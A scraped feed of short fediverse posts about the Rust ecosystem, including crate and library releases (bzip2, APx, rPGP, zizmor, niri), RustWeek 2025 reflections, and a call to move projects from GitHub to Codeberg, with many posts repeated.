We are basically doing what #signal and in particular moxie refused to do or declares impossible: federation.

Both #email and #activitypub ecosystems are all about federation.

However, #deltachat is vertically centralized in that all UIs use the same #rust core which implements all networking, encryption, chat/group/message logic in a single centralized place. The now 40+ #chatmail mail relay network is driven from centralized code.

At each level replication and federation is built in.

#jeRecrute (pas moi) développement backend en #rust #rustlang chez #GreenGot banque "éthique" 100℅ télétravail CDI

https://greengotteam.notion.site/Back-end-Developper-Core-Banking-CDI-170fb2dda5d880cca90edf8c2546b16d

We are basically doing what #signal and in particular moxie refused to do or declares impossible: federation.

Both #email and #activitypub ecosystems are all about federation.

However, #deltachat is vertically centralized in that all UIs use the same #rust core which implements all networking, encryption, chat/group/message logic in a single centralized place. The now 40+ #chatmail mail relay network is driven from centralized code.

At each level replication and federation is built in.

Wrote a new blog post describing the recent optimizations on integer to string conversions in Rust: https://blog.guillaume-gomez.fr/articles/2025-06-19+Rust%3A+Optimizing+integer+to+string+conversions

Enjoy!

#rust #rustlang

bzip2 crate switches from C to 100% rust https://lobste.rs/s/g3wtej #rust
https://trifectatech.org/blog/bzip2-crate-switches-from-c-to-rust/

bzip2 crate switches from C to 100% rust https://lobste.rs/s/g3wtej #rust
https://trifectatech.org/blog/bzip2-crate-switches-from-c-to-rust/

pondering my professional future and probing if this is a feasible idea…

I would love to contribute to #foss full time. design for #GNOME. create new #retro games for #NES and #GameBoy. port SparkleShare to #Rust and maintain it. create a whole bunch of new GNOME #Flatpak apps.

would you donate a recurring monthly amount to make this happen? 💭

Today we're switching the bzip2 crate from C to 100% rust!
The bzip2 crate is now memory-safe, faster and easier to cross-compile.

https://trifectatech.org/blog/bzip2-crate-switches-from-c-to-rust/

Thanks to: @alex_crichton, @ros , and @nlnet

This project was funded through the e-Commons Fund, a fund established by NLnet Foundation with financial support from the @minbzk .

#rustlang #rust #securebydesign

Today we're switching the bzip2 crate from C to 100% rust!
The bzip2 crate is now memory-safe, faster and easier to cross-compile.

https://trifectatech.org/blog/bzip2-crate-switches-from-c-to-rust/

Thanks to: @alex_crichton, @ros , and @nlnet

This project was funded through the e-Commons Fund, a fund established by NLnet Foundation with financial support from the @minbzk .

#rustlang #rust #securebydesign

Comparing codes: Two pointer algorithms. ~ James Bowen. https://mmhaskell.com/blog/2025/6/16/two-pointer-algorithms #Haskell #FunctionalProgramming #Rust

How much of the discussion on fedi is "Evil #BigTech! DON'T USE! Here is FOSS FooBar alternatlve".

But that alternative doesn't manage to gain a significant #adoption and foothold to even start to compete with said Big Tech. What I miss overall is discussions on how to make #FOSS competitive.

Most of the #discussions that reaches my timeline is "Nice idea, this is how you might do tech detail XYZ" and then the talk continues on libraries and frameworks and whether #Golang or #Rust is better..

I wish there was a “#Rust for people who have only been working in script and high level languages before" course because ughhh I could use it.

Readings shared June 9, 2025. https://jaalonso.github.io/vestigium/posts/2025/06/09-readings_shared_06-09-25 #AI #AIforMath #CategoryTheory #FunctionalProgramming #Haskell #ITP #IsabelleHOL #LLMs #LeanProver #Logic #LogicProgramming #Math #Prolog #Rust

Comparing code: Spatial reasoning with zigzag patterns! ~ James Bowen. https://mmhaskell.com/blog/2025/6/9/spatial-reasoning-with-zigzag-patterns #Haskell #FunctionalProgramming #Rust

APx is finally available on crates.io / docs.rs

https://docs.rs/apx_sdk/latest/apx_sdk/

This is an ActivityPub library used internally in Mitra and in other my projects.

Unlike some other ActivityPub libraries, this library is low-level. It doesn't restrict what databases or frameworks could be used, and doesn't care about object types or properties. There are only URIs, keys, signatures, JSON documents and HTTP requests.
It also contains primitives for building nomadic applications (FEP-ef61).

The license is AGPL-3, but I might consider changing it to a more permissive one.

#apx #activitypub #rust

APx is finally available on crates.io / docs.rs

https://docs.rs/apx_sdk/latest/apx_sdk/

This is an ActivityPub library used internally in Mitra and in other my projects.

Unlike some other ActivityPub libraries, this library is low-level. It doesn't restrict what databases or frameworks could be used, and doesn't care about object types or properties. There are only URIs, keys, signatures, JSON documents and HTTP requests.
It also contains primitives for building nomadic applications (FEP-ef61).

The license is AGPL-3, but I might consider changing it to a more permissive one.

#apx #activitypub #rust

APx is finally available on crates.io / docs.rs

https://docs.rs/apx_sdk/latest/apx_sdk/

This is an ActivityPub library used internally in Mitra and in other my projects.

Unlike some other ActivityPub libraries, this library is low-level. It doesn't restrict what databases or frameworks could be used, and doesn't care about object types or properties. There are only URIs, keys, signatures, JSON documents and HTTP requests.
It also contains primitives for building nomadic applications (FEP-ef61).

The license is AGPL-3, but I might consider changing it to a more permissive one.

#apx #activitypub #rust

APx is finally available on crates.io / docs.rs

https://docs.rs/apx_sdk/latest/apx_sdk/

This is an ActivityPub library used internally in Mitra and in other my projects.

Unlike some other ActivityPub libraries, this library is low-level. It doesn't restrict what databases or frameworks could be used, and doesn't care about object types or properties. There are only URIs, keys, signatures, JSON documents and HTTP requests.
It also contains primitives for building nomadic applications (FEP-ef61).

The license is AGPL-3, but I might consider changing it to a more permissive one.

#apx #activitypub #rust

A New Rust Packaging Model - Guix Blog
https://guix.gnu.org/en/blog/2025/a-new-rust-packaging-model/
#guix #rust

I wrote some ST7789 screen driver Rust code which just takes bytes from memory and flushes them into the screen. It seems to work but somehow the screen turns completely white less than one second after the memory write operation. This used to work fine, so I was wondering if maybe some other driver was interfering with the SPI, but nope, I disabled everything else and it still does that. I wrote a small test program which uses a different library to speak to the ST, and it works just fine. I am probably doing something wrong somewhere, BUT THEN WHY WAS IT WORKING OK BEFORE? I suspect some weird timing issues. Or maybe my driver code is being optimized by the compiler somehow, and things are not being done in the correct order?

I will probably plug in a logic analyzer tomorrow, but if anyone has any tips on how to debug it...

#st7789 #embeddedrust #embedded #rust #electronics

Nova is a #JavaScript (#ECMAScript) and #WebAssembly engine written in #Rust

https://trynova.dev/

Nova is a #JavaScript (#ECMAScript) and #WebAssembly engine written in #Rust

https://trynova.dev/

@nimda @silverpill by the way, take a look at #Mycelium - similar 0400::/7 network, originally written in #Rust
https://github.com/threefoldtech/mycelium

I have created this list yesterday, pretty small yet:
https://github.com/YGGverse/mycelium-catalog

I might be overdoing this whole #RDF and #LinkedData thing, but… here's the first steps with #Trinja, a RDF-to-HTML mapper and #SSG:

https://codeberg.org/Taganak/trinja/src/branch/main/example.ttl

The idea is: Use *any* resource described as RDF (e.g. from #Wikidata or an #ActivityPub action), link a #Jinja template to it or its rdf:type in your own set of statements, and there you got your visualisation!

Based on #TaganakNet, the #Rust #RDF development kit by @codecraft and me. We are collecting real-world examples at a good rate!

I might be overdoing this whole #RDF and #LinkedData thing, but… here's the first steps with #Trinja, a RDF-to-HTML mapper and #SSG:

https://codeberg.org/Taganak/trinja/src/branch/main/example.ttl

The idea is: Use *any* resource described as RDF (e.g. from #Wikidata or an #ActivityPub action), link a #Jinja template to it or its rdf:type in your own set of statements, and there you got your visualisation!

Based on #TaganakNet, the #Rust #RDF development kit by @codecraft and me. We are collecting real-world examples at a good rate!

#introduction

Hi, I'm Matúš (pronounced as Matuush). I like programming in #rust and #nix. I also like playing Factorio.

This is a continuation of an account @ThatGuyMatus . I started this account because I lost access to the second factor for this account.

Anyway, what I'll be posting here?

- New blog releases (yes, I have a blog over at https://typekmatus.blogspot.com)

- Project announcements

- And more.

EasyTier – P2P mesh VPN written in Rust using Tokio

https://easytier.cn/en/

#HackerNews #EasyTier #P2P #mesh #VPN #Rust #Tokio #Networking #Security

EasyTier – P2P mesh VPN written in Rust using Tokio

https://easytier.cn/en/

#HackerNews #EasyTier #P2P #mesh #VPN #Rust #Tokio #Networking #Security

New release: #rPGP version 0.16.0 🧰🔐✨

https://github.com/rpgp/rpgp/releases/tag/v0.16.0

#OpenPGP implemented in pure #Rust, permissively licensed

This release features streaming message support: Now rPGP can process arbitrarily large messages, with modest memory requirements.

It adds experimental support for the upcoming OpenPGP #PQC IETF standard https://datatracker.ietf.org/doc/html/draft-ietf-openpgp-pqc

This release also brings various improvements for key generation, support for X448/Ed448, and many minor fixes.

Fascinating write-up of bug-chasing locks in a globally distributed system

https://fly.io/blog/parking-lot-ffffffffffffffff/

#Rust #RustLang

Bumped into this interesting yet unmaintained #Rust #ActivityPub project while updating https://delightful.coding.social/delightful_activitypub_development

"Stonenet is a #p2p (social) publish-subscribe network, also known as a decentralized social media platform. It is designed to protect free speech, and resist censorship. Everyone moderates their own home feed, and content is only distributed by those peers that have consented to do so, by subscribing to someone and thereby explicitly supporting their content"

https://github.com/bamidev/stonenet

so this is happening.

All my #Rust #RustLang repos are moved over. Now I just need to figure out CI, republish to crates.io, and archive the github side (and document a tombstone in their readmes).

I have a bunch of other repos I'll either archive or delete as well.

#KDL and #orogene will remain github-side for now because they're a bit more dependent on github services, but I would like to at least move orogene over eventually. KDL might be stuck, though, unfortunately, but I might move only kdl-rs.

#bevy #miette

zizmor 1.9.0 is released!

this is not a very big release in terms of visible features, but it comes with a handful of bugfixes and a lot of internal changes. in particular, the `template-injection` audit should both be faster overall *and* more correct/sensitive to true findings, thanks to a significant internal refactor.

full release notes here:

https://docs.zizmor.sh/release-notes/#190

#opensource #rust #security

zizmor 1.9.0 is released!

this is not a very big release in terms of visible features, but it comes with a handful of bugfixes and a lot of internal changes. in particular, the `template-injection` audit should both be faster overall *and* more correct/sensitive to true findings, thanks to a significant internal refactor.

full release notes here:

https://docs.zizmor.sh/release-notes/#190

#opensource #rust #security

so this is happening.

All my #Rust #RustLang repos are moved over. Now I just need to figure out CI, republish to crates.io, and archive the github side (and document a tombstone in their readmes).

I have a bunch of other repos I'll either archive or delete as well.

#KDL and #orogene will remain github-side for now because they're a bit more dependent on github services, but I would like to at least move orogene over eventually. KDL might be stuck, though, unfortunately, but I might move only kdl-rs.

#bevy #miette

Nova: A JavaScript and WebAssembly engine written in Rust

https://trynova.dev/

#HackerNews #Nova #JavaScript #WebAssembly #Rust #Engine #Technology

Nova: A JavaScript and WebAssembly engine written in Rust

https://trynova.dev/

#HackerNews #Nova #JavaScript #WebAssembly #Rust #Engine #Technology

k23 (the Wasm OS) just got a shiny new async executor! But we need your help:
The executor is likely full of concurrency bugs, deadlocks and worse.

So if you want to help out the project an absolute ton head over here and help get kasync tested:
https://github.com/JonasKruckenberg/k23/issues/464

#rust #asyncrust #wasm #osdev

New release: #rPGP version 0.16.0 🧰🔐✨

https://github.com/rpgp/rpgp/releases/tag/v0.16.0

#OpenPGP implemented in pure #Rust, permissively licensed

This release features streaming message support: Now rPGP can process arbitrarily large messages, with modest memory requirements.

It adds experimental support for the upcoming OpenPGP #PQC IETF standard https://datatracker.ietf.org/doc/html/draft-ietf-openpgp-pqc

This release also brings various improvements for key generation, support for X448/Ed448, and many minor fixes.

k23 (the Wasm OS) just got a shiny new async executor! But we need your help:
The executor is likely full of concurrency bugs, deadlocks and worse.

So if you want to help out the project an absolute ton head over here and help get kasync tested:
https://github.com/JonasKruckenberg/k23/issues/464

#rust #asyncrust #wasm #osdev

Since we are on this journey of figuring out how supply chain reviews could work for bigger #Rust projects (at the moment only for us) we noticed that many crates include tests or benchmarks in their published crate. That not only bloats the size of these crates when they are downloaded, but also increases the amount of work needed to review them. Lately rustls-webpki removed over 40k (!) lines of tests, making it much easier to review! That is awesome to see! 🙏

https://diff.weiznich.de/rustls-webpki/0.103.1/0.103.3/tests

Andy Balaam does in-depth videos about programming in many different languages, especially Rust. You can follow at:

➡️ @andybalaam@video.infosec.exchange

There are already over 300 videos uploaded, if these haven't federated to your server yet you can browse them all at https://video.infosec.exchange/a/andybalaam/videos

You can also follow Balaam's general account at @andybalaam@mastodon.social

#FeaturedPeerTube #Programming #Coding #Rust #SoftwareDevelopment #PeerTube #PeerTubers

Andy Balaam does in-depth videos about programming in many different languages, especially Rust. You can follow at:

➡️ @andybalaam@video.infosec.exchange

There are already over 300 videos uploaded, if these haven't federated to your server yet you can browse them all at https://video.infosec.exchange/a/andybalaam/videos

You can also follow Balaam's general account at @andybalaam@mastodon.social

#FeaturedPeerTube #Programming #Coding #Rust #SoftwareDevelopment #PeerTube #PeerTubers

The Rust GCC backend can now fully bootstrap the Rust compiler. Excellent work from FractalFir in their GSoC (which starts in one week XD).

More information here: https://www.reddit.com/r/rust/comments/1ktph3c/media_the_gcc_compiler_backend_can_now_fully/

#rust #rustlang

🌀 Introducing **Chakra** - a blazing fast in-browser WebAssembly runtime for builders.

```sh
chakra myfile.wasm
```

– Runs WASM in-browser with logs
– Supports Rust, TinyGo, C, Asc and Python
– One-line introspection & verify commands

Chakra is an open source project and we're building it *with the community*.

🌟 https://github.com/anistark/chakra
📖 Read more: https://blog.anirudha.dev/chakra

Give us a shout-out or star the repo on github if you like the idea. 🙌

#wasm #opensource #devtools #rust #webassembly

🌀 Introducing **Chakra** - a blazing fast in-browser WebAssembly runtime for builders.

```sh
chakra myfile.wasm
```

– Runs WASM in-browser with logs
– Supports Rust, TinyGo, C, Asc and Python
– One-line introspection & verify commands

Chakra is an open source project and we're building it *with the community*.

🌟 https://github.com/anistark/chakra
📖 Read more: https://blog.anirudha.dev/chakra

Give us a shout-out or star the repo on github if you like the idea. 🙌

#wasm #opensource #devtools #rust #webassembly

The Rust GCC backend can now fully bootstrap the Rust compiler. Excellent work from FractalFir in their GSoC (which starts in one week XD).

More information here: https://www.reddit.com/r/rust/comments/1ktph3c/media_the_gcc_compiler_backend_can_now_fully/

#rust #rustlang

@deadparrot @skade I can well believe that the #Rust language has features that promote lower defect rates overall.

However, there are many other compounding factors.

E.g. a team reimplementing a system in *any* language they are familiar with almost always has lower defect rates.

Today's Rust teams *are* typically more experienced, which you would hope leads to lower defect rates (you would hope!) - note that this is a point-in-time statement. 1/

s/asdf/mise/g

So far so good, works perfectly.

#Elixir #Ruby #Node #Rust

@skade @deadparrot We are still not in a place where we have sufficient good data, but my observations are that for #Rust projects a) defect rates are lower (perhaps significantly lower) b) overall project failure rates are *not* lower (& may in fact be higher) c) Experienced programmers are more expensive (& in shorter supply) d) There are significant (re)training costs to onboard new programmers - I agree with Florian that things are improving but right now the pipeline is still fairly weak 1/

People again mentioned the supposedly high learning curve of #Rust.

I think the whole discussion is wrong. Rust is not hard to learn. The compiler constantly supports you.

It's hard to unlearn old habits we acquired over decades from other PLs. That's the issue.

Readings shared May 20, 2025. https://jaalonso.github.io/vestigium/posts/2025/05/20-readings_shared_05-20-25 #Agda #Emacs #FunctionalProgramming #Haskell #HoTT #ITP #LeanProver #Logic #Math #OrgMode #Python #Rust #SAT_solvers #TypeTheory

In light of GitHub going full genAI agents, which will likely lead to a flood of garbage PRs that will make dependabot nags a joke:

Would other foss maintainers with projects on GitHub be interested in some kind of event where we all get together and try moving our projects over to @Codeberg?

I’m thinking of it as a way to both promote our foss projects, provide mutual support during the moves, find solutions to small cuts we run into along the way, and just generally have fun together?

Boosts and ideas welcome!

If anyone is interested in talking more about this or participating, even if you’re not a core maintainer for a project, I’ve created Discord and Matrix places we can start chatting in: https://discord.gg/fcSeuv56qp and https://matrix.to/#/%23nohub:matrix.org

#FOSS #OpenSource #NoAI #GitHub #Rust #RustLang

Comparing code: LeetCode problems in Rust vs. Haskell. ~ James Bowen. https://mmhaskell.com/blog/2025/5/19/comparing-code-leetcode-problems-in-rust-vs-haskell #Haskell #FunctionalProgramming #Rust

In light of GitHub going full genAI agents, which will likely lead to a flood of garbage PRs that will make dependabot nags a joke:

Would other foss maintainers with projects on GitHub be interested in some kind of event where we all get together and try moving our projects over to @Codeberg?

I’m thinking of it as a way to both promote our foss projects, provide mutual support during the moves, find solutions to small cuts we run into along the way, and just generally have fun together?

Boosts and ideas welcome!

If anyone is interested in talking more about this or participating, even if you’re not a core maintainer for a project, I’ve created Discord and Matrix places we can start chatting in: https://discord.gg/fcSeuv56qp and https://matrix.to/#/%23nohub:matrix.org

#FOSS #OpenSource #NoAI #GitHub #Rust #RustLang

In light of GitHub going full genAI agents, which will likely lead to a flood of garbage PRs that will make dependabot nags a joke:

Would other foss maintainers with projects on GitHub be interested in some kind of event where we all get together and try moving our projects over to @Codeberg?

I’m thinking of it as a way to both promote our foss projects, provide mutual support during the moves, find solutions to small cuts we run into along the way, and just generally have fun together?

Boosts and ideas welcome!

If anyone is interested in talking more about this or participating, even if you’re not a core maintainer for a project, I’ve created Discord and Matrix places we can start chatting in: https://discord.gg/fcSeuv56qp and https://matrix.to/#/%23nohub:matrix.org

#FOSS #OpenSource #NoAI #GitHub #Rust #RustLang

「Vim」はちょっと……MicrosoftがWindows標準CLIテキストエディター「Edit」を発表／「ターミナル」などで動作、「Rust」で新規開発
https://forest.watch.impress.co.jp/docs/news/2015418.html

#forest_watch_impress #Vim #Rust #Edit

「Vim」はちょっと……MicrosoftがWindows標準CLIテキストエディター「Edit」を発表／「ターミナル」などで動作、「Rust」で新規開発
https://forest.watch.impress.co.jp/docs/news/2015418.html

#forest_watch_impress #Vim #Rust #Edit

In light of GitHub going full genAI agents, which will likely lead to a flood of garbage PRs that will make dependabot nags a joke:

Would other foss maintainers with projects on GitHub be interested in some kind of event where we all get together and try moving our projects over to @Codeberg?

I’m thinking of it as a way to both promote our foss projects, provide mutual support during the moves, find solutions to small cuts we run into along the way, and just generally have fun together?

Boosts and ideas welcome!

If anyone is interested in talking more about this or participating, even if you’re not a core maintainer for a project, I’ve created Discord and Matrix places we can start chatting in: https://discord.gg/fcSeuv56qp and https://matrix.to/#/%23nohub:matrix.org

#FOSS #OpenSource #NoAI #GitHub #Rust #RustLang

Cursed idea: a proc-macro could involke rust-analyzer to evaluate an entire crate to gather type information of the project and use that to inform the macros behaviour on its input token stream 👀
#Rust #RustLang

Returning home after a six days at #RustWeek. The week began with the conference, which was super fun & engaging, but the best part for me were the 3 days of #Rust All-Hands. The event gathered Everyone™️ from RustProject to discuss current burning issues & vision for the future.
@rustnl

After attending #RustWeek and the All-Hands, I'm left with so much hope for the future. The project is *the people*, and the people I saw, talked to and worked with make me proud to call myself a rustacean.
#Rust #RustLang

After attending #RustWeek and the All-Hands, I'm left with so much hope for the future. The project is *the people*, and the people I saw, talked to and worked with make me proud to call myself a rustacean.
#Rust #RustLang

Returning home after a six days at #RustWeek. The week began with the conference, which was super fun & engaging, but the best part for me were the 3 days of #Rust All-Hands. The event gathered Everyone™️ from RustProject to discuss current burning issues & vision for the future.
@rustnl

A week in Utrecht is over and I'm quite happy. My first real vacation after more than ... well...to be honest, I'm not sure when did I have at least a full week vacation, just me and my lovely wife. Probably almost two years ago?

During the week, I had an actual skin care routine, I've exercised in the mornings, I've eaten in regular intervals, I've been on top of Utrecht Dom Tower, I've tasted best fish and chips in Utrecht, I've been to a small drag show and much more.

And, we've attended the biggest (so far) Rust conference, full of amazing people. It was very well organized, the venue (a big cinema complex) was a good choice, we could even go to see a movie directly after the last talk (Sinners, go see it, it's a fun movie), a variety of possible networking spaces, enough space for vendor stands, plenty of side activities (small guided Utrecht tour was a great choice).

Will definitely come next year.

#rust #rustweek #rustweek2025 #netherlands #utrecht

On my way back home after RustWeek 2025. So, so proud that we hosted the Rust Project All-Hands, the 10 years of Rust celebration, and the biggest Rust conference yet. See you all next year!

Thanks to my co-organizers Jana, @redshifts, @terts and @Mara ❤️

#rustlang #rust

A week in Utrecht is over and I'm quite happy. My first real vacation after more than ... well...to be honest, I'm not sure when did I have at least a full week vacation, just me and my lovely wife. Probably almost two years ago?

During the week, I had an actual skin care routine, I've exercised in the mornings, I've eaten in regular intervals, I've been on top of Utrecht Dom Tower, I've tasted best fish and chips in Utrecht, I've been to a small drag show and much more.

And, we've attended the biggest (so far) Rust conference, full of amazing people. It was very well organized, the venue (a big cinema complex) was a good choice, we could even go to see a movie directly after the last talk (Sinners, go see it, it's a fun movie), a variety of possible networking spaces, enough space for vendor stands, plenty of side activities (small guided Utrecht tour was a great choice).

Will definitely come next year.

#rust #rustweek #rustweek2025 #netherlands #utrecht

On my way back home after RustWeek 2025. So, so proud that we hosted the Rust Project All-Hands, the 10 years of Rust celebration, and the biggest Rust conference yet. See you all next year!

Thanks to my co-organizers Jana, @redshifts, @terts and @Mara ❤️

#rustlang #rust

On my way back home after RustWeek 2025. So, so proud that we hosted the Rust Project All-Hands, the 10 years of Rust celebration, and the biggest Rust conference yet. See you all next year!

Thanks to my co-organizers Jana, @redshifts, @terts and @Mara ❤️

#rustlang #rust

After long 3 months of work, I'm glad to release niri v25.05 with the Overview, screenshot UI tablet and touch support, dynamic screencast target and windowed fullscreen, IPC pick-window and pick-color, window urgency, and lots of other things!

Release notes prepared for your reading pleasure as always: https://github.com/YaLTeR/niri/releases/tag/v25.05

#niri #smithay #rust #wayland

People asked for my jokes from Rust Week. Here they are. Pull requests welcome!

https://github.com/mre/rust-jokes

#rustlang #rust

Not sure why, but I can't seem to get building of a rust rubygem working: https://github.com/oxidize-rb/rb-sys/issues/545

#rust #ruby #rubygems

Thanks to Kobzol for making this, which I've been meaning to do for a few years and keep forgetting to actually do: look at the evolution of the #Rust compiler errors over time

https://kobzol.github.io/rust/rustc/2025/05/16/evolution-of-rustc-errors.html

I also agree 100% with the take aways.

I'm looking forward to seeing how these get even better.

#RustLang

Thanks to Kobzol for making this, which I've been meaning to do for a few years and keep forgetting to actually do: look at the evolution of the #Rust compiler errors over time

https://kobzol.github.io/rust/rustc/2025/05/16/evolution-of-rustc-errors.html

I also agree 100% with the take aways.

I'm looking forward to seeing how these get even better.

#RustLang

Introducing Pyrefly: A new type checker and IDE experience for Python https://lobste.rs/s/czvto8 #plt #python #rust
https://engineering.fb.com/2025/05/15/developer-tools/introducing-pyrefly-a-new-type-checker-and-ide-experience-for-python/

Introducing Pyrefly: A new type checker and IDE experience for Python https://lobste.rs/s/czvto8 #plt #python #rust
https://engineering.fb.com/2025/05/15/developer-tools/introducing-pyrefly-a-new-type-checker-and-ide-experience-for-python/